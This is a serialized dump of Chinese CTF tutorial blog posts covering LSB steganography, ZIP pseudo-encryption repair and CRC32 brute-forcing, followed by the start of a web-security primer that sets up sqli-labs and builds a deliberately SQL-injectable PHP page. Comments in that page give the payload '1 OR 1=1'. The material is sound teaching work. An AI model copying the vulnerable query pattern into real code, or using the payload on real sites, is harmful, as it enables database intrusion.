1），顺序与隐藏时一致。\n",[50,11956,11957],{"class":52,"line":174},[50,11958,142],{"emptyLinePlaceholder":141},[50,11960,11961],{"class":52,"line":180},[50,11962,5042],{},[50,11964,11965],{"class":52,"line":186},[50,11966,5047],{},[50,11968,11969],{"class":52,"line":191},[50,11970,11971],{},"    # 每 8 个比特一组，步长为 8。\n",[50,11973,11974],{"class":52,"line":196},[50,11975,5057],{},[50,11977,11978],{"class":52,"line":202},[50,11979,5062],{},[50,11981,11982],{"class":52,"line":208},[50,11983,5067],{},[50,11985,11986],{"class":52,"line":214},[50,11987,11988],{},"        # 左移 1 位再或上当前比特，等价于二进制拼接。\n",[50,11990,11991],{"class":52,"line":220},[50,11992,5082],{},[50,11994,11995],{"class":52,"line":226},[50,11996,11997],{},"        # 字节 0 是隐藏时追加的结束符。\n",[50,11999,12000],{"class":52,"line":232},[50,12001,3795],{},[50,12003,12004],{"class":52,"line":821},[50,12005,5096],{},[50,12007,12008],{"class":52,"line":827},[50,12009,142],{"emptyLinePlaceholder":141},[50,12011,12012],{"class":52,"line":833},[50,12013,5105],{},[50,12015,12016],{"class":52,"line":839},[50,12017,12018],{},"# decode()：字节串解码成字符串。\n",[15,12020,3555],{},[41,12022,12024],{"className":12023,"code":5116,"language":305,"meta":46},[303],[18,12025,5116],{"__ignoreMap":46},[713,12027,12029],{"id":12028},"_34-工具验证","3.4 工具验证",[41,12031,12033],{"className":43,"code":12032,"language":45,"meta":46,"style":46},"zsteg -a hidden.png\n",[18,12034,12035],{"__ignoreMap":46},[50,12036,12037,12039,12041],{"class":52,"line":53},[50,12038,5142],{"class":56},[50,12040,5145],{"class":250},[50,12042,4532],{"class":60},[15,12044,12045,12046,697],{},"预期输出中包含 ",[18,12047,12048],{},"flag{lsb_steganography}",[10,12050,12052],{"id":12051},"四核心技能-2zip-伪加密完整实现","四、核心技能 2：ZIP 伪加密（完整实现）",[15,12054,12055,12057],{},[271,12056,273],{},"：理解 ZIP 的\"加密标志位\"结构，学会修复伪加密。",[15,12059,12060,12062],{},[271,12061,279],{},"：先看正常 zip 的十六进制，找到标志位位置；把加密位置 1 模拟伪加密（此时解压报\"需要密码\"）；再把位置 0 修复，验证能正常读出内容。",[713,12064,12066],{"id":12065},"_41-zip-结构","4.1 ZIP 结构",[15,12068,12069],{},"本地文件头：",[41,12071,12074],{"className":12072,"code":12073,"language":305,"meta":46},[303],"偏移   字段\n0x00  签名 50 4B 03 04\n0x04  版本（2 字节）\n0x06  通用标志位（2 字节，第 0 位 = 加密位）\n",[18,12075,12073],{"__ignoreMap":46},[15,12077,12078,12079,12082],{},"中央目录头（签名 ",[18,12080,12081],{},"50 4B 01 02","）中标志位位于偏移 0x08。",[713,12084,12086],{"id":12085},"_42-生成-zip-并查看结构","4.2 生成 zip 并查看结构",[15,12088,12089,12091],{},[271,12090,273],{},"：建立\"正常 zip\"的基线，确认本地文件头与中央目录头中标志位的位置。",[41,12093,12095],{"className":411,"code":12094,"language":413,"meta":46,"style":46},"import zipfile\n\nwith zipfile.ZipFile('flag.zip', 'w') as z:\n    z.writestr('flag.txt', 'ctf{zip}')\n\ndata = open('flag.zip', 'rb').read()\nprint(' '.join(f'{b:02x}' for b in data[:60]))\n",[18,12096,12097,12102,12106,12111,12116,12120,12125],{"__ignoreMap":46},[50,12098,12099],{"class":52,"line":53},[50,12100,12101],{},"import zipfile\n",[50,12103,12104],{"class":52,"line":70},[50,12105,142],{"emptyLinePlaceholder":141},[50,12107,12108],{"class":52,"line":84},[50,12109,12110],{},"with zipfile.ZipFile('flag.zip', 'w') as z:\n",[50,12112,12113],{"class":52,"line":145},[50,12114,12115],{},"    z.writestr('flag.txt', 'ctf{zip}')\n",[50,12117,12118],{"class":52,"line":151},[50,12119,142],{"emptyLinePlaceholder":141},[50,12121,12122],{"class":52,"line":157},[50,12123,12124],{},"data = open('flag.zip', 'rb').read()\n",[50,12126,12127],{"class":52,"line":163},[50,12128,12129],{},"print(' '.join(f'{b:02x}' for b in data[:60]))\n",[15,12131,3555],{},[41,12133,12136],{"className":12134,"code":12135,"language":305,"meta":46},[303],"50 4b 03 04 14 00 00 00 00 00 d8 73 0e 5d b0 75 c1 31 08 00 00 00 08 00 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 63 74 66 7b 7a 69 70 7d 50 4b 01 02 14 03 14 00 00 00 00 00 d8 73\n",[18,12137,12135],{"__ignoreMap":46},[15,12139,12140],{},"解释：",[41,12142,12145],{"className":12143,"code":12144,"language":305,"meta":46},[303],"50 4b 03 04                    ← 本地文件头签名\n14 00                          ← 版本\n00 00                          ← 通用标志位（00 00 = 未加密）\n...\n50 4b 01 02                    ← 中央目录头签名\n14 03 14 00                    ← 版本信息\n00 00                          ← 中央目录标志位（未加密）\n",[18,12146,12144],{"__ignoreMap":46},[713,12148,12150],{"id":12149},"_43-设置加密位伪加密","4.3 设置加密位（伪加密）",[15,12152,12153,12155],{},[271,12154,279],{},"：只改数据不加密，而是把\"加密标志位\"置 1，让解压程序误以为需要密码。",[41,12157,12159],{"className":411,"code":12158,"language":413,"meta":46,"style":46},"data = bytearray(open('flag.zip', 'rb').read())\n\n# 本地文件头：偏移 6 处标志位置位\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] |= 1\n\n# 中央目录头：偏移 8 处标志位置位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] |= 1\n\nopen('flag_enc.zip', 'wb').write(data)\n",[18,12160,12161,12166,12170,12175,12180,12185,12189,12194,12199,12204,12208],{"__ignoreMap":46},[50,12162,12163],{"class":52,"line":53},[50,12164,12165],{},"data = bytearray(open('flag.zip', 'rb').read())\n",[50,12167,12168],{"class":52,"line":70},[50,12169,142],{"emptyLinePlaceholder":141},[50,12171,12172],{"class":52,"line":84},[50,12173,12174],{},"# 本地文件头：偏移 6 处标志位置位\n",[50,12176,12177],{"class":52,"line":145},[50,12178,12179],{},"idx = data.find(b'PK\\x03\\x04')\n",[50,12181,12182],{"class":52,"line":151},[50,12183,12184],{},"data[idx + 6] |= 1\n",[50,12186,12187],{"class":52,"line":157},[50,12188,142],{"emptyLinePlaceholder":141},[50,12190,12191],{"class":52,"line":163},[50,12192,12193],{},"# 中央目录头：偏移 8 处标志位置位\n",[50,12195,12196],{"class":52,"line":168},[50,12197,12198],{},"idx2 = data.find(b'PK\\x01\\x02')\n",[50,12200,12201],{"class":52,"line":174},[50,12202,12203],{},"data[idx2 + 8] |= 1\n",[50,12205,12206],{"class":52,"line":180},[50,12207,142],{"emptyLinePlaceholder":141},[50,12209,12210],{"class":52,"line":186},[50,12211,12212],{},"open('flag_enc.zip', 'wb').write(data)\n",[15,12214,12215],{},"修改后的 hexdump：",[41,12217,12220],{"className":12218,"code":12219,"language":305,"meta":46},[303],"50 4b 03 04 14 00 01 00 00 00 d8 73 ...   ← 本地标志位 01\n50 4b 01 02 14 03 14 00 01 00 00 00 d8 73 ...  ← 中央标志位 01\n",[18,12221,12219],{"__ignoreMap":46},[15,12223,12224],{},"尝试读取：",[41,12226,12228],{"className":411,"code":12227,"language":413,"meta":46,"style":46},"import zipfile\n\ntry:\n    with zipfile.ZipFile('flag_enc.zip') as z:\n        print(z.read('flag.txt'))\nexcept Exception as e:\n    print(type(e).__name__, e)\n",[18,12229,12230,12234,12238,12243,12248,12253,12258],{"__ignoreMap":46},[50,12231,12232],{"class":52,"line":53},[50,12233,12101],{},[50,12235,12236],{"class":52,"line":70},[50,12237,142],{"emptyLinePlaceholder":141},[50,12239,12240],{"class":52,"line":84},[50,12241,12242],{},"try:\n",[50,12244,12245],{"class":52,"line":145},[50,12246,12247],{},"    with zipfile.ZipFile('flag_enc.zip') as z:\n",[50,12249,12250],{"class":52,"line":151},[50,12251,12252],{},"        print(z.read('flag.txt'))\n",[50,12254,12255],{"class":52,"line":157},[50,12256,12257],{},"except Exception as e:\n",[50,12259,12260],{"class":52,"line":163},[50,12261,12262],{},"    print(type(e).__name__, e)\n",[15,12264,3555],{},[41,12266,12269],{"className":12267,"code":12268,"language":305,"meta":46},[303],"RuntimeError File 'flag.txt' is encrypted, password required for extraction\n",[18,12270,12268],{"__ignoreMap":46},[15,12272,12273],{},"程序要求密码——但数据根本没加密，这就是伪加密。",[713,12275,12277],{"id":12276},"_44-修复","4.4 修复",[15,12279,12280,12282,12283,12286],{},[271,12281,279],{},"：把两处标志位最低位清零（",[18,12284,12285],{},"& 0xfe","），恢复成未加密状态。",[41,12288,12290],{"className":411,"code":12289,"language":413,"meta":46,"style":46},"data = bytearray(open('flag_enc.zip', 'rb').read())\n\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] &= 0xfe          # 清除本地头加密位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n\nopen('flag_fixed.zip', 'wb').write(data)\n\nwith zipfile.ZipFile('flag_fixed.zip') as z:\n    print(z.read('flag.txt'))\n",[18,12291,12292,12297,12301,12305,12310,12314,12319,12323,12328,12332,12337],{"__ignoreMap":46},[50,12293,12294],{"class":52,"line":53},[50,12295,12296],{},"data = bytearray(open('flag_enc.zip', 'rb').read())\n",[50,12298,12299],{"class":52,"line":70},[50,12300,142],{"emptyLinePlaceholder":141},[50,12302,12303],{"class":52,"line":84},[50,12304,12179],{},[50,12306,12307],{"class":52,"line":145},[50,12308,12309],{},"data[idx + 6] &= 0xfe          # 清除本地头加密位\n",[50,12311,12312],{"class":52,"line":151},[50,12313,12198],{},[50,12315,12316],{"class":52,"line":157},[50,12317,12318],{},"data[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n",[50,12320,12321],{"class":52,"line":163},[50,12322,142],{"emptyLinePlaceholder":141},[50,12324,12325],{"class":52,"line":168},[50,12326,12327],{},"open('flag_fixed.zip', 'wb').write(data)\n",[50,12329,12330],{"class":52,"line":174},[50,12331,142],{"emptyLinePlaceholder":141},[50,12333,12334],{"class":52,"line":180},[50,12335,12336],{},"with zipfile.ZipFile('flag_fixed.zip') as z:\n",[50,12338,12339],{"class":52,"line":186},[50,12340,12341],{},"    print(z.read('flag.txt'))\n",[15,12343,3555],{},[41,12345,12348],{"className":12346,"code":12347,"language":305,"meta":46},[303],"b'ctf{zip}'\n",[18,12349,12347],{"__ignoreMap":46},[15,12351,12352,12353,12356],{},"实战提示：很多伪加密题只改本地头或中央目录头之一，",[18,12354,12355],{},"binwalk -e"," 常常直接绕过标志位提取，先试它再手工改。",[10,12358,12360],{"id":12359},"五核心技能-3crc32-爆破","五、核心技能 3：CRC32 爆破",[15,12362,12363,12365],{},[271,12364,273],{},"：当压缩包内文件内容很短、又拿不到明文时，用校验值反推内容。",[15,12367,12368,12370],{},[271,12369,279],{},"：ZIP 记录每个文件的 CRC32（明文校验和）。枚举所有短内容，算 CRC 与记录值比对，相等即明文。",[15,12372,12373],{},"ZIP 中央目录记录每个文件的 CRC32。当文件内容很短（1-4 字符）时，枚举内容匹配校验值：",[41,12375,12377],{"className":411,"code":12376,"language":413,"meta":46,"style":46},"import zipfile, zlib, itertools\n# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n\nz = zipfile.ZipFile('flag.zip')\ntarget = z.getinfo('flag.txt').CRC\n# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\nprint(\"目标 CRC:\", target)\n\ncharset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n# 题目语境下的候选字符集，缩小枚举空间。\nfor length in range(1, 5):\n    for tup in itertools.product(charset, repeat=length):\n        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n        s = ''.join(tup).encode()\n        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n        if zlib.crc32(s) & 0xffffffff == target:\n            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n            print(\"爆破结果:\", s)\n            exit()\n",[18,12378,12379,12384,12389,12393,12398,12403,12408,12413,12417,12422,12427,12432,12437,12442,12447,12452,12457,12462,12467],{"__ignoreMap":46},[50,12380,12381],{"class":52,"line":53},[50,12382,12383],{},"import zipfile, zlib, itertools\n",[50,12385,12386],{"class":52,"line":70},[50,12387,12388],{},"# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n",[50,12390,12391],{"class":52,"line":84},[50,12392,142],{"emptyLinePlaceholder":141},[50,12394,12395],{"class":52,"line":145},[50,12396,12397],{},"z = zipfile.ZipFile('flag.zip')\n",[50,12399,12400],{"class":52,"line":151},[50,12401,12402],{},"target = z.getinfo('flag.txt').CRC\n",[50,12404,12405],{"class":52,"line":157},[50,12406,12407],{},"# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\n",[50,12409,12410],{"class":52,"line":163},[50,12411,12412],{},"print(\"目标 CRC:\", target)\n",[50,12414,12415],{"class":52,"line":168},[50,12416,142],{"emptyLinePlaceholder":141},[50,12418,12419],{"class":52,"line":174},[50,12420,12421],{},"charset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n",[50,12423,12424],{"class":52,"line":180},[50,12425,12426],{},"# 题目语境下的候选字符集，缩小枚举空间。\n",[50,12428,12429],{"class":52,"line":186},[50,12430,12431],{},"for length in range(1, 5):\n",[50,12433,12434],{"class":52,"line":191},[50,12435,12436],{},"    for tup in itertools.product(charset, repeat=length):\n",[50,12438,12439],{"class":52,"line":196},[50,12440,12441],{},"        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n",[50,12443,12444],{"class":52,"line":202},[50,12445,12446],{},"        s = ''.join(tup).encode()\n",[50,12448,12449],{"class":52,"line":208},[50,12450,12451],{},"        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n",[50,12453,12454],{"class":52,"line":214},[50,12455,12456],{},"        if zlib.crc32(s) & 0xffffffff == target:\n",[50,12458,12459],{"class":52,"line":220},[50,12460,12461],{},"            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n",[50,12463,12464],{"class":52,"line":226},[50,12465,12466],{},"            print(\"爆破结果:\", s)\n",[50,12468,12469],{"class":52,"line":232},[50,12470,12471],{},"            exit()\n",[15,12473,12474,12475,12478],{},"实际输出（目标内容 ",[18,12476,12477],{},"ctf1","）：",[41,12480,12483],{"className":12481,"code":12482,"language":305,"meta":46},[303],"目标 CRC: 961973094\n爆破结果: b'ctf1'\n",[18,12484,12482],{"__ignoreMap":46},[15,12486,12487,12488,12491,12492,12495],{},"注意 ",[18,12489,12490],{},"zlib.crc32"," 返回有符号整数，需要 ",[18,12493,12494],{},"& 0xffffffff"," 归一化。",[10,12497,2252],{"id":2251},[312,12499,12500,12510],{},[315,12501,12502],{},[318,12503,12504,12506,12508],{},[321,12505,1096],{},[321,12507,2263],{},[321,12509,5168],{},[328,12511,12512,12524,12538,12551],{},[318,12513,12514,12516,12519],{},[333,12515,1408],{},[333,12517,12518],{},"看类型",[333,12520,12521],{},[18,12522,12523],{},"file flag.png",[318,12525,12526,12528,12531],{},[333,12527,4589],{},[333,12529,12530],{},"看文件头与结构",[333,12532,12533,21,12535],{},[18,12534,5195],{},[18,12536,12537],{},"xxd flag.zip | head",[318,12539,12540,12542,12545],{},[333,12541,4681],{},[333,12543,12544],{},"扫描/提取隐藏文件",[333,12546,12547,21,12549],{},[18,12548,5223],{},[18,12550,5226],{},[318,12552,12553,12555,12558],{},[333,12554,5142],{},[333,12556,12557],{},"LSB 自动检测",[333,12559,12560],{},[18,12561,12562],{},"zsteg -a flag.png",[10,12564,12566],{"id":12565},"七小-ctf-实战综合题","七、小 CTF 实战：综合题",[15,12568,12569,12571],{},[271,12570,273],{},"：把前三节串成一道完整题目。",[15,12573,12574,12576],{},[271,12575,279],{},"：先排除简单情况（file/strings/binwalk），再怀疑 LSB 提取；若提取结果是 zip 头（PK），保存后检查伪加密。",[15,12578,1167,12579,697],{},[18,12580,5235],{},[15,12582,5238],{},[41,12584,12586],{"className":43,"code":12585,"language":45,"meta":46,"style":46},"file flag.png          # PNG image data\nstrings flag.png | grep -i flag    # 无输出\nbinwalk flag.png                   # 无隐藏文件\n",[18,12587,12588,12597,12614],{"__ignoreMap":46},[50,12589,12590,12592,12594],{"class":52,"line":53},[50,12591,1408],{"class":56},[50,12593,4560],{"class":60},[50,12595,12596],{"class":2741},"          # PNG image data\n",[50,12598,12599,12601,12603,12605,12607,12609,12611],{"class":52,"line":70},[50,12600,1451],{"class":56},[50,12602,4560],{"class":60},[50,12604,645],{"class":644},[50,12606,648],{"class":56},[50,12608,4658],{"class":250},[50,12610,6298],{"class":60},[50,12612,12613],{"class":2741},"    # 无输出\n",[50,12615,12616,12618,12620],{"class":52,"line":84},[50,12617,4681],{"class":56},[50,12619,4560],{"class":60},[50,12621,12622],{"class":2741},"                   # 无隐藏文件\n",[15,12624,12625],{},"第二步：怀疑 LSB，运行提取脚本：",[41,12627,12629],{"className":12628,"code":5116,"language":305,"meta":46},[303],[18,12630,5116],{"__ignoreMap":46},[15,12632,12633,12634,12636],{},"变体：若提取出的字节不是文本而是 ",[18,12635,4467],{}," 开头，把它保存为 zip，再检查是否伪加密：",[41,12638,12640],{"className":411,"code":12639,"language":413,"meta":46,"style":46},"with open('extracted.zip', 'wb') as f:\n    f.write(data)\n",[18,12641,12642,12647],{"__ignoreMap":46},[50,12643,12644],{"class":52,"line":53},[50,12645,12646],{},"with open('extracted.zip', 'wb') as f:\n",[50,12648,12649],{"class":52,"line":70},[50,12650,12651],{},"    f.write(data)\n",[15,12653,12654],{},"然后按第四节流程检查并修复标志位。",[10,12656,2544],{"id":2543},[15,12658,12659,12660,12662,12663,1117,12665,12667],{},"取证主线：",[18,12661,1408],{}," 确认类型 → ",[18,12664,1451],{},[18,12666,4681],{}," 排除简单情况 → LSB 提取 → 压缩包伪加密修复。这三板斧可覆盖大部分入门与中级 Misc 题。",[1244,12669,12670],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":46,"searchDepth":70,"depth":70,"links":12672},[12673,12674,12675,12676,12677,12678,12679,12680],{"id":11675,"depth":84,"text":11676},{"id":38,"depth":84,"text":39},{"id":11721,"depth":84,"text":11722},{"id":12051,"depth":84,"text":12052},{"id":12359,"depth":84,"text":12360},{"id":2251,"depth":84,"text":2252},{"id":12565,"depth":84,"text":12566},{"id":2543,"depth":84,"text":2544},"完整实现 LSB 隐写的隐藏与提取、ZIP 伪加密的十六进制修改与修复、CRC32 短内容爆破。",{"date":1263,"image":3378,"alt":12683,"tags":12684,"published":141},"隐写与取证深入实战",[1267,5334,12685,1269],"隐写","/blogs/ctf-misc-stego-forensics-deep-dive",{"title":11670,"description":12681},"blogs/20. ctf-misc-stego-forensics-deep-dive","o_6kN9OqAx31pkyKuqmJvPnMsOsMrKsw-PBDwWsaepk",{"id":12691,"title":12692,"body":12693,"description":14540,"extension":1261,"meta":14541,"navigation":141,"ogImage":14542,"path":14545,"seo":14546,"stem":14547,"__hash__":14548},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":7,"value":12694,"toc":14528},[12695,12699,12702,12721,12727,12733,12735,12793,12803,12807,12810,12898,12901,12905,12909,12912,12915,12943,12948,13060,13063,13076,13080,13082,13096,13098,13103,13107,13115,13128,13133,13136,13166,13169,13174,13177,13180,13205,13210,13213,13238,13241,13249,13253,13258,13266,13269,13294,13297,13327,13332,13335,13360,13364,13367,13402,13406,13409,13439,13443,13446,13469,13473,13486,13496,13500,13505,13522,13526,13532,13541,13545,13561,13566,13570,13586,13588,13634,13643,13647,13650,13697,13704,13708,13711,13782,13789,13793,13798,13822,13826,13832,13865,13869,13900,13902,13908,13912,13943,13946,13950,13981,13984,13988,14013,14017,14020,14023,14037,14041,14046,14078,14087,14093,14124,14127,14131,14134,14188,14191,14195,14198,14201,14219,14221,14226,14229,14247,14252,14255,14281,14288,14292,14299,14319,14323,14328,14358,14363,14367,14376,14396,14398,14426,14429,14438,14447,14461,14465,14470,14513,14520,14522,14525],[10,12696,12698],{"id":12697},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[15,12700,12701],{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[41,12703,12705],{"className":43,"code":12704,"language":45,"meta":46,"style":46},"curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n",[18,12706,12707],{"__ignoreMap":46},[50,12708,12709,12711,12714,12716,12719],{"class":52,"line":53},[50,12710,5584],{"class":56},[50,12712,12713],{"class":250}," -v",[50,12715,652],{"class":651},[50,12717,12718],{"class":60},"http://127.0.0.1:8000/index.php?id=1",[50,12720,658],{"class":651},[15,12722,12723,12726],{},[18,12724,12725],{},"-v"," 会显示完整过程，输出示例：",[41,12728,12731],{"className":12729,"code":12730,"language":305,"meta":46},[303],"> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n",[18,12732,12730],{"__ignoreMap":46},[15,12734,12140],{},[312,12736,12737,12746],{},[315,12738,12739],{},[318,12740,12741,12744],{},[321,12742,12743],{},"部分",[321,12745,326],{},[328,12747,12748,12765,12775,12785],{},[318,12749,12750,12755],{},[333,12751,12752],{},[18,12753,12754],{},"GET /index.php?id=1",[333,12756,12757,12758,12761,12762],{},"方法 GET，路径 ",[18,12759,12760],{},"/index.php","，参数 ",[18,12763,12764],{},"id=1",[318,12766,12767,12772],{},[333,12768,12769],{},[18,12770,12771],{},"Host",[333,12773,12774],{},"目标主机",[318,12776,12777,12782],{},[333,12778,12779],{},[18,12780,12781],{},"HTTP/1.1 200 OK",[333,12783,12784],{},"协议版本与状态码，200 表示成功",[318,12786,12787,12790],{},[333,12788,12789],{},"正文",[333,12791,12792],{},"服务器返回的 HTML",[15,12794,12795,12796,12802],{},"Web 漏洞几乎都源于一件事：",[271,12797,12798,12799,12801],{},"参数 ",[18,12800,5559],{}," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[10,12804,12806],{"id":12805},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[15,12808,12809],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[41,12811,12813],{"className":43,"code":12812,"language":45,"meta":46,"style":46},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000        # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[18,12814,12815,12820,12835,12843,12849,12861,12865,12870,12881],{"__ignoreMap":46},[50,12816,12817],{"class":52,"line":53},[50,12818,12819],{"class":2741},"# 方式一：源码部署（需要 PHP + MySQL）\n",[50,12821,12822,12824,12826,12829,12832],{"class":52,"line":70},[50,12823,57],{"class":56},[50,12825,61],{"class":60},[50,12827,12828],{"class":60}," php",[50,12830,12831],{"class":60}," php-mysql",[50,12833,12834],{"class":60}," mariadb-server\n",[50,12836,12837,12839,12841],{"class":52,"line":84},[50,12838,87],{"class":56},[50,12840,90],{"class":60},[50,12842,5417],{"class":60},[50,12844,12845,12847],{"class":52,"line":145},[50,12846,101],{"class":100},[50,12848,5424],{"class":60},[50,12850,12851,12853,12855,12858],{"class":52,"line":151},[50,12852,5355],{"class":56},[50,12854,5431],{"class":250},[50,12856,12857],{"class":60}," 127.0.0.1:8000",[50,12859,12860],{"class":2741},"        # 启动后浏览器访问，点 Setup/reset Database\n",[50,12862,12863],{"class":52,"line":157},[50,12864,142],{"emptyLinePlaceholder":141},[50,12866,12867],{"class":52,"line":163},[50,12868,12869],{"class":2741},"# 方式二：Docker 部署（最简单）\n",[50,12871,12872,12875,12878],{"class":52,"line":168},[50,12873,12874],{"class":56},"docker",[50,12876,12877],{"class":60}," pull",[50,12879,12880],{"class":60}," tavenli/sqli-labs\n",[50,12882,12883,12885,12888,12890,12893,12896],{"class":52,"line":174},[50,12884,12874],{"class":56},[50,12886,12887],{"class":60}," run",[50,12889,1607],{"class":250},[50,12891,12892],{"class":250}," -p",[50,12894,12895],{"class":60}," 8000:80",[50,12897,12880],{"class":60},[15,12899,12900],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[10,12902,12904],{"id":12903},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[713,12906,12908],{"id":12907},"_31-平台与代码","3.1 平台与代码",[15,12910,12911],{},"平台：Linux + PHP + MySQL。",[15,12913,12914],{},"第一步，建数据库。在 MySQL 里执行：",[41,12916,12917],{"className":5380,"code":5450,"language":5382,"meta":46,"style":46},[18,12918,12919,12923,12927,12931,12935,12939],{"__ignoreMap":46},[50,12920,12921],{"class":52,"line":53},[50,12922,5457],{},[50,12924,12925],{"class":52,"line":70},[50,12926,5462],{},[50,12928,12929],{"class":52,"line":84},[50,12930,5467],{},[50,12932,12933],{"class":52,"line":145},[50,12934,5472],{},[50,12936,12937],{"class":52,"line":151},[50,12938,5477],{},[50,12940,12941],{"class":52,"line":157},[50,12942,5482],{},[15,12944,12945,12946,119],{},"第二步，写漏洞页面 ",[18,12947,5487],{},[41,12949,12951],{"className":5353,"code":12950,"language":5355,"meta":46,"style":46},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n    // 取不到更多行时返回 null，while 结束。\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[18,12952,12953,12957,12961,12966,12971,12975,12979,12984,12989,12993,12997,13002,13007,13012,13016,13020,13025,13029,13033,13038,13043,13047,13052,13056],{"__ignoreMap":46},[50,12954,12955],{"class":52,"line":53},[50,12956,5497],{},[50,12958,12959],{"class":52,"line":70},[50,12960,5502],{},[50,12962,12963],{"class":52,"line":84},[50,12964,12965],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[50,12967,12968],{"class":52,"line":145},[50,12969,12970],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[50,12972,12973],{"class":52,"line":151},[50,12974,142],{"emptyLinePlaceholder":141},[50,12976,12977],{"class":52,"line":157},[50,12978,5362],{},[50,12980,12981],{"class":52,"line":163},[50,12982,12983],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[50,12985,12986],{"class":52,"line":168},[50,12987,12988],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[50,12990,12991],{"class":52,"line":174},[50,12992,142],{"emptyLinePlaceholder":141},[50,12994,12995],{"class":52,"line":180},[50,12996,5511],{},[50,12998,12999],{"class":52,"line":186},[50,13000,13001],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n",[50,13003,13004],{"class":52,"line":191},[50,13005,13006],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[50,13008,13009],{"class":52,"line":196},[50,13010,13011],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[50,13013,13014],{"class":52,"line":202},[50,13015,142],{"emptyLinePlaceholder":141},[50,13017,13018],{"class":52,"line":208},[50,13019,5516],{},[50,13021,13022],{"class":52,"line":214},[50,13023,13024],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[50,13026,13027],{"class":52,"line":220},[50,13028,142],{"emptyLinePlaceholder":141},[50,13030,13031],{"class":52,"line":226},[50,13032,5521],{},[50,13034,13035],{"class":52,"line":232},[50,13036,13037],{},"    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[50,13039,13040],{"class":52,"line":821},[50,13041,13042],{},"    // 取不到更多行时返回 null，while 